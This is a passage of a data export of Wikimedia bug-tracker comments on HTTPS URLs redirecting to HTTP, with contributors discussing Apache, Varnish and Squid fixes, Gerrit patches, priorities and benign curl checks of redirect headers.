+(make that curl -vs 2>&1 >/dev/null | grep)",,,1389763288,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,False,,,20,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+153077,Non-canonical HTTPS URLs quietly redirect to HTTP,"(In reply to comment #63)
+Please use curl -vs | grep rather than curl -Is",,,1389763225,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,False,,,20,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+153069,Non-canonical HTTPS URLs quietly redirect to HTTP,"Change 106109 had a related patch set uploaded by Jeremyb:
+final (I hope!) fix for protorel redirects
+
+https://gerrit.wikimedia.org/r/106109",,,1389763108,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,False,,,20,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+153060,Non-canonical HTTPS URLs quietly redirect to HTTP,"(In reply to comment #22, comment #23, and comment #51)
+> Test cases
+> 
+> * https://mediawiki.org
+> * https://wikimedia.org
+> * https://wikipedia.org
+> * https://www.wikisource.org
+> * https://www.wikimediafoundation.org
+> * https://wiktionary.org
+> * https://wikiquote.org
+> * https://wikinews.org
+> * https://wikivoyage.org
+> * https://dk.wikipedia.org
+> * https://wikibooks.org
+> * https://textbook.wikipedia.org
+> * https://aa.wikiversity.com
+> * https://quote.wikipedia.org
+> * https://wikimania.wikimedia.org
+
+This issue isn't fully fixed.
+
+
+
+
+CORRECT (HTTPS --> HTTPS):
+
+$ curl -Is ""https://mediawiki.org"" | grep Location
+Location: https://www.mediawiki.org/
+
+$ curl -Is ""https://www.wikimediafoundation.org"" | grep Location
+Location: https://wikimediafoundation.org/
+
+$ curl -Is ""https://dk.wikipedia.org"" | grep Location
+Location: https://da.wikipedia.org/
+
+(Though I'm not sure why dk redirects to da... assuming that's deliberate.)
+
+$ curl -Is ""https://quote.wikipedia.org"" | grep Location
+Location: https://en.wikiquote.org/
+
+$ curl -Is ""https://textbook.wikipedia.org"" | grep Location
+Location: https://www.wikibooks.org/
+
+$ curl -Is ""https://wikimania.wikimedia.org"" | grep Location
+Location: https://wikimania2014.wikimedia.org/
+
+
+
+
+INCORRECT (HTTPS --> HTTP):
+
+$ curl -Is ""https://wikimedia.org"" | grep Location
+Location: http://www.wikimedia.org/
+
+$ curl -Is ""https://wikipedia.org"" | grep Location
+Location: http://www.wikipedia.org/
+
+$ curl -Is ""https://www.wikisource.org"" | grep Location
+Location: http://wikisource.org/
+
+$ curl -Is ""https://wiktionary.org"" | grep Location
+Location: http://www.wiktionary.org/
+
+$ curl -Is ""https://wikiquote.org"" | grep Location
+Location: http://www.wikiquote.org/
+
+$ curl -Is ""https://wikinews.org"" | grep Location
+Location: http://www.wikinews.org/
+
+$ curl -Is ""https://wikivoyage.org"" | grep Location
+Location: http://www.wikivoyage.org/
+
+$ curl -Is ""https://wikibooks.org"" | grep Location
+Location: http://www.wikibooks.org/
+
+
+
+
+PROBABLY IRRELEVANT:
+$ curl -I ""https://aa.wikiversity.com""
+curl: (51) SSL peer certificate or SSH remote key was not OK",,,1386701368,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,True,,,14,True,0,0,1,0,1,1,0,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,0,0,1,0,0,1
+153050,Non-canonical HTTPS URLs quietly redirect to HTTP,"Change 96438 merged by Tim Starling:
+Generate redirects.conf
+
+https://gerrit.wikimedia.org/r/96438",,,1385431525,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,False,,,12,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+153041,Non-canonical HTTPS URLs quietly redirect to HTTP,"Change 96438 had a related patch set uploaded by Tim Starling:
+Generate redirects.conf
+
+https://gerrit.wikimedia.org/r/96438",,,1384929591,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,False,,,12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+153031,Non-canonical HTTPS URLs quietly redirect to HTTP,"Bug 51700 was an issue we had with http or https redirect being cached, i.e. not varying on X-Forward-Protocol.  Squid did not cache the redirect so that wasn't an issue.
+
+The related fix is  https://gerrit.wikimedia.org/r/#/c/75583/ ""Fix up Vary headers on 30x redirects from Apache"".",,,1384812947,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,True,,,11,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,1
+153019,Non-canonical HTTPS URLs quietly redirect to HTTP,"(In reply to comment #58)
+> Greg set this ticket to highest priority three months ago, so I wonder if
+> that still reflects priorities.
+
+It obviously hasn't been Platform's Highest priority for the past 3 months, wrongly or rightly. :/
+
+I'll reassess current situation and priorities amongst Platform soon. Sorry.",,,1384361426,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,False,,,11,True,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,0,1,1
+153008,Non-canonical HTTPS URLs quietly redirect to HTTP,"Greg set this ticket to highest priority three months ago, so I wonder if that still reflects priorities.",,,1384347239,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,True,,,11,True,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0
+152999,Non-canonical HTTPS URLs quietly redirect to HTTP,"(In reply to comment #56)
+> It looks like Rob is proposing to fix it on the Apache/ops side.  That Gerrit
+> is in operations/apache-config.
+
+In the short-term, yes. But Ryan L, Ken S., and Rob L. suggest on this bug that the long-term solution is for MediaWiki to handle these types of redirects. I think Andre may have been asking who might eventually handle that portion.
+
+I'll repeat what I wrote earlier this year:
+
+> Clarification about what you mean (or a rough sketch of how you think this
+> should be implemented in Wikimedia's environment) would be wonderful. Firing
+> up MediaWiki to do this type of high-level redirect seems kind of silly to me,
+> but I don't really care about the implementation details.",,,1381586697,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,True,,,6,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,1,1,0,0,1,0,0,1,1,0,1,1,0,1,1,0,1,0,1,0,0,0,1,1,0,1,1,0,1,0,0,1,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,1
+152990,Non-canonical HTTPS URLs quietly redirect to HTTP,"(In reply to comment #55)
+> Does any specific MW core developer plan to work on this?
+
+It looks like Rob is proposing to fix it on the Apache/ops side.  That Gerrit is in operations/apache-config.",,,1381528192,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,False,,,6,True,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,1
+152981,Non-canonical HTTPS URLs quietly redirect to HTTP,"(In reply to comment #54 by Rob Lanphier)
+> We had a brief in-office discussion, and the workaround we would like to
+> propose for this is to change the 301 redirect to a 302 redirect in Gerrit
+> change #13293, and remove the 'Header set Vary ""X-Forwarded-Proto""'.
+
+Does any specific MW core developer plan to work on this?",,,1381509561,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,True,,,6,True,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,0,1,0,0,0,0,1
+152972,Non-canonical HTTPS URLs quietly redirect to HTTP,"We had a brief in-office discussion, and the workaround we would like to propose for this is to change the 301 redirect to a 302 redirect in Gerrit change #13293, and remove the 'Header set Vary ""X-Forwarded-Proto""'.  That should disable caching for the redirect itself without generally disabling or splitting the cache.  The downside is that the redirect won't be cached at all, but we're hoping that we don't get too much traffic on this particular set of redirects.
+
+Longer term, we can potentially move this into MediaWiki (perhaps as part of HipHop), but we'd like to avoid doing this too hastily.",,,1378753655,,PHID-USER-edlps6xg553cjlnvd4ao,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,False,,,1,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,0,1,1,1,1,0,0
+152964,Non-canonical HTTPS URLs quietly redirect to HTTP,"**ksnider** wrote:
+
+I agree with Ryan here. Fixing this in Mediawiki should be the focus, otherwise we have to mangle the redirect in apache/varnish. Better if the wiki could return the HTTPS redirect directly instead. 
+
+If for some reason this isn't feasible, then it'll be on us to find a workaround. 
+
+Thanks.",,,1378739140,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,False,,,1,True,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,1,1,1,0,0
+152955,Non-canonical HTTPS URLs quietly redirect to HTTP,"(In reply to comment #50)
+> Apache doesn't handle this well, and we don't really want to do it in
+> varnish. It's likely best for MediaWiki to handle this instead...
+
+Are you saying this is a non-ops issue, then? In my view, either Rob L. or Ken S. need to figure out who to assign this ticket to in order to get it resolved. Or we need to adjust the stated priority, but I'd prefer not to do that. If it's best for MediaWiki to handle this, it moves from ops to platform/core, I think.
+
+Clarification about what you mean (or a rough sketch of how you think this should be implemented in Wikimedia's environment) would be wonderful. Firing up MediaWiki to do this type of high-level redirect seems kind of silly to me, but I don't really care about the implementation details. I'll trust your judgment.",,,1378687530,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,True,,,1,True,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,1,0,0,1,0,1,1,1,1,1,1,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,1,0,1,1
+152948,Non-canonical HTTPS URLs quietly redirect to HTTP,"In addition to those listed above (comment #22 and comment #23), please note that as of today, almost 2 weeks after HTTPS has been ""forced"" for all logged-in users:
+
+* https://wiktionary.org/
+* https://wikiquote.org/
+* https://wikinews.org/
+* https://wikivoyage.org/
+
+also all get redirected to the non-secure ""www.*"" versions.",,,1378660401,,PHID-USER-5nh4szwtu7ijkpyvxbzo,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,False,,,1,True,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+152940,Non-canonical HTTPS URLs quietly redirect to HTTP,"Apache doesn't handle this well, and we don't really want to do it in varnish. It's likely best for MediaWiki to handle this instead...",,,1378243326,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,False,,,0,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0
+152935,Non-canonical HTTPS URLs quietly redirect to HTTP,"Oops, I forgot about/missed MZ's comment from way up there ^^
+
+(In reply to comment #22)
+> Test cases
+> 
+> * https://mediawiki.org
+> * https://wikimedia.org
+> * https://wikipedia.org
+> * https://www.wikisource.org
+> * https://www.wikimediafoundation.org
+> 
+> RT tickets (I believe):
+> 
+> * RT #1668
+> * RT #2847
+> * RT #2783",,,1378242842,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,False,,,0,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
+152928,Non-canonical HTTPS URLs quietly redirect to HTTP,"Daniel/Asher/Ryan: Is there an RT ticket for this? *seems* mostly in Ops/apache domain vs Platform, right?",,,1378242768,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,False,,,0,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0
+152922,Non-canonical HTTPS URLs quietly redirect to HTTP,Quick info: Investigating this problem is on the to-do list for this week.,,,1378221090,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,True,,,0,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+152915,Non-canonical HTTPS URLs quietly redirect to HTTP,Bump. Any news? If we consider https important than bugs like this shouldn't be left open for almost 2 years.,,,1378035618,,PHID-USER-cw4amt4ewxdze5qcjdca,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,False,,,0,True,1,0,0,1,1,1,0,0,0,1,0,1,0,1,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0
+152908,Non-canonical HTTPS URLs quietly redirect to HTTP,*** Bug 52698 has been marked as a duplicate of this bug. ***,,,1377477008,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,2,False,,,-1,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+152899,Non-canonical HTTPS URLs quietly redirect to HTTP,"As this is blocked by the varnish work, can the project page be updated, specifically dates and RT tickets so those interested can follow along?
+https://wikitech.wikimedia.org/wiki/Projects#Switch_.22text.22_to_Varnish
+
+Also, upping importance given current WMF priorities and community desires.",,,1376540637,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,2,False,,,-2,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0
+152889,Non-canonical HTTPS URLs quietly redirect to HTTP,"(In reply to comment #42)
+> jeremyb, I think the idea was that we'd move this into VCL and do the
+> redirects
+> before even reaching Apache. I'm not sure if I like the idea. I'll leave it
+> to
+> whoever decides to implement that :) I agree that it's nasty, though.
+
+I'm not completely sure which I prefer but I thought the general trend was to move stuff out to apache/php where we could (e.g. zero/carriers).
+
+We could always use a switch statement in asm in VCL to decide which redirect code path to take for a given request.
+
+Anyway, no matter which approach we end up going with having the domains listed in redirects.conf move from squid to varnish is a blocker for fixing this bug.",,,1376374483,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,2,False,,,-3,True,0,0,1,0,1,1,1,0,1,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,1,0,1,0,0,1,1,0,1,1,0,1,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+152876,Non-canonical HTTPS URLs quietly redirect to HTTP,"MZMcBride, no, text hasn't moved to Varnish yet. It's being worked on but we're not there yet. When that happens, operations/puppet, templates/varnish/text* would be the place to look for.
+
+jeremyb, I think the idea was that we'd move this into VCL and do the redirects before even reaching Apache. I'm not sure if I like the idea. I'll leave it to whoever decides to implement that :) I agree that it's nasty, though.",,,1376373379,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,2,True,,,-3,True,0,0,0,1,1,1,1,0,1,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+152865,Non-canonical HTTPS URLs quietly redirect to HTTP,"(In reply to comment #40)
+> Gerrit change #13293 indicates that these redirects should be moved to
+> Varnish. Is this possible now? If so, do you have any pointers about which
+> file(s) should be changed in order to move forward toward resolving this bug?
+
+I suppose it may be possible to move some domains to varnish sooner than others but I'm not sure if it's worth it. (We are making recent progress)
+
+""redirects should be moved to varnish"" isn't quite right. Redirects will still be served from the same apaches they are now. Just they'll need to go through varnish instead of squid in order to fix this bug. More status below.
+
+We recently got an OTRS ticket about this:
+On 2013-08-09 someone wrote:
+> Subject: FYI: https://wikipedia.org redirects to http://www.wikipedia.org
+> would make life a lot easier if i could just type https://wikipedia.org to
+> get started.
+
+Our reply:
+> Thanks for pointing this out! I'm also looking forward to that being fixed.
+>
+> That's bug 31369<https://bugzilla.wikimedia.org/31369> which is blocked on
+> https://wikitech.wikimedia.org/wiki/Projects#Switch_.22text.22_to_Varnish
+> (see also
+> http://lists.wikimedia.org/pipermail/wikitech-l/2013-August/071086.html )
+>
+> Also, https://blog.wikimedia.org/2013/08/01/future-https-wikimedia-projects/
+> (which mentions https://www.eff.org/https-everywhere which is probably the
+> best short-term solution for you)",,,1376333957,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,2,False,,,-3,True,1,1,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,1,1,1,0,1,1,1,1,1,0,1,1,1,0,1,1,1,0,1,0,0,1,1,1,1,1,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,1,1,1
+152854,Non-canonical HTTPS URLs quietly redirect to HTTP,"Asher, Ryan L., Faidon, or anyone else in ops who might know:
+
+Gerrit changeset 13293 indicates that these redirects should be moved to Varnish. Is this possible now? If so, do you have any pointers about which file(s) should be changed in order to move forward toward resolving this bug?
+
+As Erik noted in comment 6, this is a pretty evil bug.",,,1376332886,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,2,True,,,-3,True,1,1,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,1,1,1,0,0,1,0,0,0,1,0,0,1,1,0,1,1,0,0,0,1,0,0,1,1,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+152844,Non-canonical HTTPS URLs quietly redirect to HTTP,"I think this bug is quite important. It's been open for almost two years - is there any chance we can get this working with a less beautiful solution (e.g. duplicating the logic for every domain), and then have a follow-up bug to make it more efficient?
+
+Also - the WMF supposedly prioritizes HTTPS...
+
+https://blog.wikimedia.org/2013/08/01/future-https-wikimedia-projects/",,,1376163868,,PHID-USER-pwsgofaoir7tnszvfzqi,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,2,True,,,-3,True,1,0,0,0,0,1,1,0,0,0,1,1,0,1,1,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,0,1,0,1,1,0,0
+152835,Non-canonical HTTPS URLs quietly redirect to HTTP,The patch mentioned above has been abandoned. See reason on the gerrit patch set comments.,,,1376048057,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,2,True,,,-3,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+152827,Non-canonical HTTPS URLs quietly redirect to HTTP,"(In reply to comment #36 by MZMcBride)
+> I think Faidon volunteered.
+
+Faidon: Is that the case? If so feel free to assign this ticket to you and steal it from Daniel.",,,1373466264,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,True,,,-7,True,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,1
+152819,Non-canonical HTTPS URLs quietly redirect to HTTP,"(In reply to comment #35)
+> I don't think anyone is specially assigned to review it.
+
+I think Faidon volunteered.",,,1355148089,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,True,,,-38,True,0,1,0,1,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1
+152814,Non-canonical HTTPS URLs quietly redirect to HTTP,Andre the change is pending review and there are a few issues in the patch :-D   I don't think anyone is specially assigned to review it.,,,1355131141,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,True,,,-38,True,1,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,0,1,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+152809,Non-canonical HTTPS URLs quietly redirect to HTTP,"Gerrit change #13293 needs an update - that's one way to speed this up.
+
+dzahn: Are you actually working on this, or should the assignee be reset?",,,1355130937,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,True,,,-38,True,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,0
